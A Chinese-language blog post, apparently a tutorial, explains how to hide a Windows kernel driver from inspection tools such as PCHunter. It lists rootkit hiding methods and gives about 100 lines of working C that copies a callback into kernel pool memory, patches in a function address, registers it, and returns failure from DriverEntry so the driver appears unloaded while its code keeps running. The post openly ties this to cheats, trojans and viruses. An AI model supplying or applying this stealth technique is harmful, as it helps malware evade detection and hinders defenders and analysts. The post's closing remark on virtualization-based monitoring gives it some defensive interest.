windwos下想要搞点事,权限当然是越大越好;驱动模块天生在0环,和操作提供平级,大家互相是兄弟,所以很多外挂、木马、病毒都会使用驱动达到自己的目的。那么问题来了:PCHUNTER这种工具能查到系统里面所有驱动模块,外挂\木马\病毒该怎么隐藏了?
常见隐藏驱动的方式:
- 驱动模块断链
- 调用MiProcessLoadEntry删除驱动对象(据说不会触发PG)
- 清理MmUnloadDriver List 和 PiDDBCacheTable两处
- driveEntry返回失败
- 驱动模块加载后立即卸载
今天介绍一种driveEntry返回失败隐藏驱动的方法 —— DriverEntry返回失败;
windows会根据DriverEntry的返回值判断驱动是否加载成功。如果返回成功,会在注册表详细记录,并将sys文件复制到System32/drivers目录下;如果失败,会回收执行代码时分配的栈空间,但此时代码已经执行,该方法隐藏驱动最核心的点就在这了:
- driverEntry执行的时候操作系统分配的栈内存,执行完毕会被回收,数据和代码都不会留下,只能额外在堆空间分配一块内存,把需要继续执行的代码和数据(本实验是回调函数)都留在堆上
- 本例中,回调函数需要打印。但call函数后面的操作数都是相对偏移,不是绝对地址。回调函数被复制到堆上,自身位置改变,打印函数的偏移肯定也变了,这里需要重定位,怎么办?
先自定义一个函数指针,指向打印函数,但地址随便用个Magic Number糊弄; 等回调函数的代码拷贝到堆上后,再调用MmGetSystemRoutineAddress得到打印函数的地址,再写回函数指针;
完整代码如下(其实不多,也就100行左右):
#include <fltKernel.h> typedef ULONG (__cdecl * DbgPrintType)( _In_z_ _Printf_format_string_ PCSTR Format, ... ); #define DBG_PTR_TAG_MAGICNO 0xbabababababababa void MyLoadImageNotifyRoutine( PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo ) { ProcessId = ProcessId; DbgPrintType MyDbgPrint = (DbgPrintType)DBG_PTR_TAG_MAGICNO; if (FullImageName != NULL && ImageInfo != NULL) { if ((ULONG_PTR)ImageInfo->ImageBase > (ULONG_PTR)0xf000000000000000) { MyDbgPrint("MyLoadImageNotifyRoutine: loading a kernel module: %wZ.\r\n", FullImageName); } } } void DriverUnload(PDRIVER_OBJECT DriverObject) { DriverObject = DriverObject; KdPrint(("Hello, unloaded.\r\n")); PsRemoveLoadImageNotifyRoutine(MyLoadImageNotifyRoutine); } #define FUNC_LEN 0x100 NTSTATUS DriverEntry( _In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath ) { NTSTATUS status = STATUS_SUCCESS; UNICODE_STRING dbgprint_str = RTL_CONSTANT_STRING(L"DbgPrint"); //分配堆空间,后续把自己的回调函数(这部分代码还要执行) PVOID my_func_body = ExAllocatePoolWithTag(NonPagedPool, FUNC_LEN, ‘Disp‘); DbgPrintType dbgprint_ptr = NULL; PUCHAR func_body_ptr = NULL; int i; // 防止警告。 DriverObject = DriverObject; RegistryPath = RegistryPath; DbgBreakPoint(); do { if (my_func_body == NULL) { status = STATUS_INSUFFICIENT_RESOURCES; break; } // 动态获取DbgPrint函数的地址。 dbgprint_ptr = (DbgPrintType)MmGetSystemRoutineAddress(&dbgprint_str); if (dbgprint_ptr == NULL) { status = STATUS_UNSUCCESSFUL; break; } // 拷贝函数体。 memcpy(my_func_body, (PVOID)MyLoadImageNotifyRoutine, FUNC_LEN); // 替换函数体中的立即数0xbabababababababa,使之变成DbgPrint函数的地址 for (i = 0; i < FUNC_LEN; ++i) { func_body_ptr = (PUCHAR)my_func_body + i; if (*(ULONG_PTR*)func_body_ptr == (ULONG_PTR)DBG_PTR_TAG_MAGICNO) { *(ULONG_PTR*)func_body_ptr = (ULONG_PTR)dbgprint_ptr; break; } } if (i == FUNC_LEN) { status = STATUS_UNSUCCESSFUL; break; } // 将分配的堆函数注册成回调函数。 status = PsSetLoadImageNotifyRoutine((PLOAD_IMAGE_NOTIFY_ROUTINE)my_func_body); } while (0); if (status != STATUS_SUCCESS && my_func_body != NULL) { ExFreePool(my_func_body); } // 返回失败,确保驱动"不加载"。 status = STATUS_UNSUCCESSFUL; return status;
效果如下:
(1)反正在PCHUNTER的驱动模块页面是找不到了
(2)加载驱动时看到的提示,给人感觉好像失败了:
但其实驱动的代码已经运行了,这里能正常检测和打印被加载的模块:
(3)内核模块还是能看到,但没有路径,不好找模块在哪,给分析增加难度:
最后总结一下: 目前流行的隐藏驱动方式,都逃不多微软VBS的法眼;一旦开启VT,处于-1环,相当于拥有了上帝视角,通过EPT把操作系统内核的所有操作都能监控到,所以现在的对抗进一步演变成了对系统更底层权限的争夺;谁先获得了更底层的权限,谁就能监控上一层的一举一动。